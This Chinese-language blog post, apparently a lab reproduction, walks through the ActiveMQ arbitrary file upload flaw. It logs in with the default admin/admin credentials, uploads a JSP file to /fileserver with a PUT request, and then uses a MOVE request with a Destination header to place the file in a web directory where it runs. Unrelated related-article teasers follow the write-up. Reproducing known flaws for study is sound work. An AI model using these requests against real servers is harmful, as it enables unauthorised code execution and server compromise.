ActiveMQ 任意文件上传漏洞复现

news/2025/5/22 2:44:15/

一、使用弱口令登陆

​ 访问 http://ip:8161/admin/ 进入admin登陆页面,使用弱口令登陆,账号密码皆为 admin,登陆成功后,headers中会出现验证信息

​ 如: Authorization: Basic YWRtaW46YWRtaW4=

# 二、利用PUT协议上传文件

​ 访问任意页面并抓包,注意headers中的验证信息

image20210719092946435.png

​ 将GET协议修改为PUT协议,将文件上传至 fileserver 目录下

PUT /fileserver/jsp.jsp

image20210719095428185.png

​ 如上图,response 包中返回状态码为 204,即文件上传成功

​ 但是直接在 fileserver 目录下访问该文件是不能正常解析的

image20210719094016998.png

# 三、利用MOVE协议将文件移动至可解析目录

​ 继续修改请求包协议为 MOVE,并在头部中添加 Destination

MOVE /fileserver/jsp.jsp
Destination: file:///opt/activemq/webapps/api/jsp.jsp

image20210719094727788.png

​ 同样的,响应包返回的状态码为 204,代表文件成功移动到 api 目录下

image20210719095847143.png

​ 代码被成功执行


http://www.ppmy.cn/news/1424547.html

相关文章

博客文章:AWS re:Invent 2023 新产品深度解析 - 第四部分

TOC 🌈你好呀!我是 是Yu欸 🌌 2024每日百字篆刻时光,感谢你的陪伴与支持 ~ 🚀 欢迎一起踏上探险之旅,挖掘无限可能,共同成长! 写在最前面 去年发布文章的一部分,由于内…

深度解析CSS clip-path属性:塑造网页元素的无界形态

在网页设计领域,CSS clip-path 属性犹如一把无形的剪刀,赋予设计师精准裁剪元素可视区域的能力。它通过定义一个路径来决定元素内容的显示范围,突破矩形边界的束缚,实现各种富有创意和动态变化的形状展示。本文将深入剖析 clip-pa…

区块链媒体推广的8个成功案例解析-华媒舍

区块链领域作为一个新兴行业,媒体推广对于项目的成功发展起着至关重要的作用。本文将从八个成功案例中来分析区块链媒体推广的重要性和成功策略。 1. 媒体报道对于区块链项目的重要影响 媒体报道是提升区块链项目知名度和用户认可度的重要手段。对于区块链项目来说…

分享2024 golang学习路线

写在前面 Go语言(也称为Golang)是Google开发的一种静态强类型、编译型语言,它具有简洁、快速、安全、并发等特点,尤其适合构建大型软件、微服务架构和云平台服务。Go的学习曲线相对平缓,社区活跃,是现代编…

RabbitMQ的简单

前言 RabbitMQ是一套开源(MPL)的消息队列服务软件,是由 LShift 提供的一个 Advanced Message Queuing Protocol (AMQP) 的开源实现,由以高性能、健壮以及可伸缩性出名的 Erlang 写成。 目录 介绍 RabbitMQ系统结构 RabbitMQ成员…

A13 STM32_HAL库函数 之 HAL-ETH通用驱动 -- B -- 所有函数的介绍及使用

A13 STM32_HAL库函数 之 HAL-ETH通用驱动 -- B -- 所有函数的介绍及使用 1 通用定时器(TIM)预览1.11 HAL_ETH_TxCpltCallback1.12 HAL_ETH_RxCpltCallback1.13 HAL_ETH_ErrorCallback1.14 HAL_ETH_ReadPHYRegister1.15 HAL_ETH_WritePHYRegister1.16 HAL…

64B/66B编码 自定义PHY层设计

一、前言 之前的一篇文章讲解了64B/66B的基本原理,本篇在基于64B/66B GT Transceiver的基础之上设计自定义PHY。基本框图如下。 二、GT Mdule GT Module就按照4个GT CHannel共享一个GT COMMON进行设置,如下图。要将例子工程中的GT COMMON取出&#xff…

AI大模型日报#0416:李飞飞《2024年人工智能指数报告》、Sora加入Adobe、李彦宏聊百度大模型之路

​导读: 欢迎阅读《AI大模型日报》,内容基于Python爬虫和LLM自动生成。目前采用“文心一言”生成了每条资讯的摘要。标题: 刚刚,李飞飞团队发布《2024年人工智能指数报告》:10大趋势,揭示AI大模型的“喜”与“忧” 摘…